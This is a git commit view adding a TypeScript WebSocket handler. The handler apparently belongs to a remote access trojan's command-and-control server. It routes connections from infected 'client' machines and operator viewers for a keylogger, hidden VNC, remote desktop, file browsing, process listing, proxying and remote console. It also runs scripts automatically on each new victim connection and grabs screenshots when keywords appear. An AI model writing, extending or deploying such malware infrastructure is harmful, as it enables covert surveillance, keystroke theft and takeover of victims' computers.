inital commit
This commit is contained in:
KingKDot
@@ -0,0 +1,385 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { logAudit, AuditAction } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { clientExists, setOnlineState, upsertClientRow } from "../../db";
|
||||
import { logger } from "../../logger";
|
||||
import { metrics } from "../../metrics";
|
||||
import { decodeMessage, encodeMessage, type WireMessage } from "../../protocol";
|
||||
import * as sessionManager from "../../sessions/sessionManager";
|
||||
import type { SocketData } from "../../sessions/types";
|
||||
import type { ClientInfo } from "../../types";
|
||||
import { handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
||||
|
||||
type PendingScript = {
|
||||
timeout: ReturnType<typeof setTimeout>;
|
||||
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
|
||||
};
|
||||
|
||||
type WsLifecycleDeps = {
|
||||
maxClientPayloadBytes: number;
|
||||
maxViewerPayloadBytes: number;
|
||||
pendingScripts: Map<string, PendingScript>;
|
||||
rdStreamingState: Map<string, unknown>;
|
||||
hvncStreamingState: Map<string, unknown>;
|
||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
|
||||
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProxyViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProxyViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
takePendingNotificationScreenshot: (clientId: string) => any;
|
||||
storeNotificationScreenshot: (
|
||||
pending: any,
|
||||
bytes: Uint8Array,
|
||||
format: string,
|
||||
width?: number,
|
||||
height?: number,
|
||||
) => void;
|
||||
handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
|
||||
handleConsoleOutput: (payload: any) => void;
|
||||
handleFileBrowserMessage: (clientId: string, payload: any) => void;
|
||||
handleProxyMessage: (clientId: string, payload: any) => void;
|
||||
handleProcessMessage: (clientId: string, payload: any) => void;
|
||||
handleKeyloggerMessage: (clientId: string, payload: any) => void;
|
||||
notifyRdInputLatency: (commandId: string) => void;
|
||||
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
|
||||
handlePluginEvent: (clientId: string, payload: any) => void;
|
||||
handleNotification: (clientId: string, payload: any) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
|
||||
notifyConsoleClosed: (clientId: string, reason: string) => void;
|
||||
clearPendingNotificationScreenshots: (clientId: string) => void;
|
||||
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
|
||||
};
|
||||
|
||||
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
|
||||
const role = ws.data.role as string;
|
||||
const clientId = ws.data.clientId;
|
||||
const ip = ws.data.ip;
|
||||
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
|
||||
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
|
||||
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
|
||||
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
|
||||
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
||||
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
|
||||
if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws);
|
||||
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
|
||||
|
||||
const id = clientId || uuidv4();
|
||||
const info: ClientInfo = { id, role: role as any, ws, lastSeen: Date.now(), country: "", ip, online: true };
|
||||
clientManager.addClient(id, info);
|
||||
|
||||
ws.data.clientId = id;
|
||||
ws.data.ip = ip;
|
||||
if (role === "client") {
|
||||
ws.data.wasKnown = clientExists(id);
|
||||
}
|
||||
|
||||
upsertClientRow({ id, role: role as any, ip, lastSeen: info.lastSeen, online: 1 as any });
|
||||
logger.info(`[open] ${id} role=${role}`);
|
||||
|
||||
const notificationConfig = deps.getNotificationConfig();
|
||||
ws.send(
|
||||
encodeMessage({
|
||||
type: "hello_ack",
|
||||
id,
|
||||
notification: {
|
||||
keywords: notificationConfig.keywords || [],
|
||||
minIntervalMs: notificationConfig.minIntervalMs || 8000,
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
if (role === "client") {
|
||||
deps.notifyRemoteDesktopStatus(id, "online");
|
||||
metrics.recordConnection();
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebSocketMessage(
|
||||
ws: ServerWebSocket<SocketData>,
|
||||
message: string | ArrayBuffer | Uint8Array,
|
||||
deps: WsLifecycleDeps,
|
||||
): void {
|
||||
const size = getMessageByteLength(message as any);
|
||||
const role = ws.data?.role as any;
|
||||
const limit = getMaxPayloadLimit(role, deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes);
|
||||
if (size > limit) {
|
||||
logger.warn(`[ws] closing socket due to oversized message (${size} > ${limit}) role=${role || "unknown"}`);
|
||||
try {
|
||||
ws.close(1009, "Message too large");
|
||||
} catch {}
|
||||
return;
|
||||
}
|
||||
|
||||
const socketRole = ws.data.role as string;
|
||||
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
|
||||
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
|
||||
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
|
||||
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
|
||||
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
||||
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
|
||||
if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message);
|
||||
if (socketRole === "notifications_viewer") return;
|
||||
|
||||
const { clientId, ip } = ws.data;
|
||||
const info = clientManager.getClient(clientId);
|
||||
if (!info) return;
|
||||
info.lastSeen = Date.now();
|
||||
|
||||
try {
|
||||
const payload = decodeMessage(message as Uint8Array) as WireMessage;
|
||||
if (!payload || typeof (payload as any).type !== "string") {
|
||||
return;
|
||||
}
|
||||
if (!isAllowedClientMessageType((payload as any).type)) {
|
||||
logger.warn(`[message] Dropping unknown client message type: ${(payload as any).type}`);
|
||||
return;
|
||||
}
|
||||
|
||||
const payloadType = (payload as any)?.type as string;
|
||||
switch (payloadType) {
|
||||
case "hello": {
|
||||
handleHello(info, payload, ws, ip);
|
||||
clientManager.addClient(info.id, info);
|
||||
deps.dispatchAutoScriptsForConnection(info, ws);
|
||||
if (info.role === "client") {
|
||||
const wasKnown = Boolean((ws as any)?.data?.wasKnown);
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "system",
|
||||
ip: (ws as any)?.data?.ip || ip || "unknown",
|
||||
action: wasKnown ? AuditAction.CLIENT_RECONNECT : AuditAction.CLIENT_FIRST_CONNECT,
|
||||
targetClientId: info.id,
|
||||
success: true,
|
||||
details: JSON.stringify({ host: info.host, os: info.os, user: info.user }),
|
||||
});
|
||||
(ws as any).data.wasKnown = true;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "ping":
|
||||
handlePing(info, payload, ws);
|
||||
break;
|
||||
case "pong":
|
||||
handlePong(info, payload);
|
||||
break;
|
||||
case "frame":
|
||||
if ((payload as any)?.header?.fps === 0) {
|
||||
const pending = deps.takePendingNotificationScreenshot(info.id);
|
||||
if (pending) {
|
||||
let bytes: Uint8Array | null = null;
|
||||
if ((payload as any).data instanceof Uint8Array) {
|
||||
bytes = (payload as any).data;
|
||||
} else if ((payload as any).data instanceof ArrayBuffer) {
|
||||
bytes = new Uint8Array((payload as any).data);
|
||||
} else if (ArrayBuffer.isView((payload as any).data)) {
|
||||
bytes = new Uint8Array((payload as any).data.buffer);
|
||||
}
|
||||
|
||||
const format = String((payload as any)?.header?.format || "jpeg");
|
||||
const width = Number((payload as any)?.header?.width) || undefined;
|
||||
const height = Number((payload as any)?.header?.height) || undefined;
|
||||
if (bytes) {
|
||||
deps.storeNotificationScreenshot(pending, bytes, format, width, height);
|
||||
}
|
||||
}
|
||||
}
|
||||
handleFrame(info, payload);
|
||||
break;
|
||||
case "screenshot_result":
|
||||
deps.handleNotificationScreenshotResult(info.id, payload);
|
||||
break;
|
||||
case "console_output":
|
||||
deps.handleConsoleOutput(payload);
|
||||
break;
|
||||
case "file_list_result":
|
||||
case "file_download":
|
||||
case "file_upload_result":
|
||||
case "file_read_result":
|
||||
case "file_search_result":
|
||||
case "command_result":
|
||||
if (typeof (payload as any).commandId === "string") {
|
||||
deps.notifyRdInputLatency((payload as any).commandId);
|
||||
}
|
||||
deps.handleNotificationScreenshotFailure(
|
||||
(payload as any).commandId,
|
||||
(payload as any).ok,
|
||||
(payload as any).message,
|
||||
);
|
||||
deps.handleFileBrowserMessage(info.id, payload);
|
||||
deps.handleProxyMessage(info.id, payload);
|
||||
break;
|
||||
case "command_progress":
|
||||
deps.handleFileBrowserMessage(info.id, payload);
|
||||
break;
|
||||
case "process_list_result":
|
||||
deps.handleProcessMessage(info.id, payload);
|
||||
break;
|
||||
case "keylog_file_list":
|
||||
case "keylog_file_content":
|
||||
case "keylog_clear_result":
|
||||
case "keylog_delete_result":
|
||||
deps.handleKeyloggerMessage(info.id, payload);
|
||||
break;
|
||||
case "script_result": {
|
||||
logger.debug(
|
||||
`[script] client=${info.id} ok=${(payload as any).ok} output_length=${(payload as any).output?.length || 0}`,
|
||||
);
|
||||
const cmdId = (payload as any).commandId;
|
||||
if (cmdId && deps.pendingScripts.has(cmdId)) {
|
||||
const pending = deps.pendingScripts.get(cmdId)!;
|
||||
clearTimeout(pending.timeout);
|
||||
pending.resolve({
|
||||
ok: (payload as any).ok,
|
||||
result: (payload as any).output || "",
|
||||
error: (payload as any).error,
|
||||
});
|
||||
deps.pendingScripts.delete(cmdId);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "plugin_event":
|
||||
deps.handlePluginEvent(info.id, payload);
|
||||
break;
|
||||
case "notification":
|
||||
deps.handleNotification(info.id, payload);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
} catch (err) {
|
||||
logger.error("[message] decode error", err);
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebSocketClose(
|
||||
ws: ServerWebSocket<SocketData>,
|
||||
code: number,
|
||||
reason: unknown,
|
||||
deps: WsLifecycleDeps,
|
||||
): void {
|
||||
const clientId = ws.data.clientId;
|
||||
const role = ws.data.role as string;
|
||||
const sessionId = ws.data.sessionId;
|
||||
|
||||
if (role === "console_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteConsoleSession(sessionId);
|
||||
const target = clientManager.getClient(clientId);
|
||||
deps.stopConsoleOnTarget(target, sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "rd_viewer") {
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
removedClientId = sess.clientId;
|
||||
sessionManager.getAllRdSessions().delete(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const stillViewing = Array.from(sessionManager.getAllRdSessions().values()).some((s) => s.clientId === removedClientId);
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
deps.sendDesktopCommand(target, "desktop_stop", {});
|
||||
deps.rdStreamingState.delete(removedClientId);
|
||||
logger.debug(`[rd] cleaned up state for client ${removedClientId}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "hvnc_viewer") {
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
removedClientId = sess.clientId;
|
||||
sessionManager.getAllHvncSessions().delete(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const stillViewing = Array.from(sessionManager.getAllHvncSessions().values()).some((s) => s.clientId === removedClientId);
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
if (target) {
|
||||
deps.sendHVNCCommand(target, "hvnc_stop", {});
|
||||
}
|
||||
deps.hvncStreamingState.delete(removedClientId);
|
||||
logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "file_browser_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.getAllFileBrowserSessions().delete(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "process_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.getAllProcessSessions().delete(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "keylogger_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteKeyloggerSession(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "proxy_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteProxySession(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "notifications_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteNotificationSession(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
clientManager.deleteClient(clientId);
|
||||
deps.notifyConsoleClosed(clientId, "Client disconnected");
|
||||
setOnlineState(clientId, false);
|
||||
deps.clearPendingNotificationScreenshots(clientId);
|
||||
logger.info(`[close] ${clientId} code=${code} reason=${reason}`);
|
||||
|
||||
if (role === "client") {
|
||||
deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected");
|
||||
metrics.recordDisconnection();
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "system",
|
||||
ip: ws.data?.ip || "unknown",
|
||||
action: AuditAction.CLIENT_DISCONNECT,
|
||||
targetClientId: clientId,
|
||||
success: true,
|
||||
details: JSON.stringify({ code, reason: String(reason || "") }),
|
||||
});
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user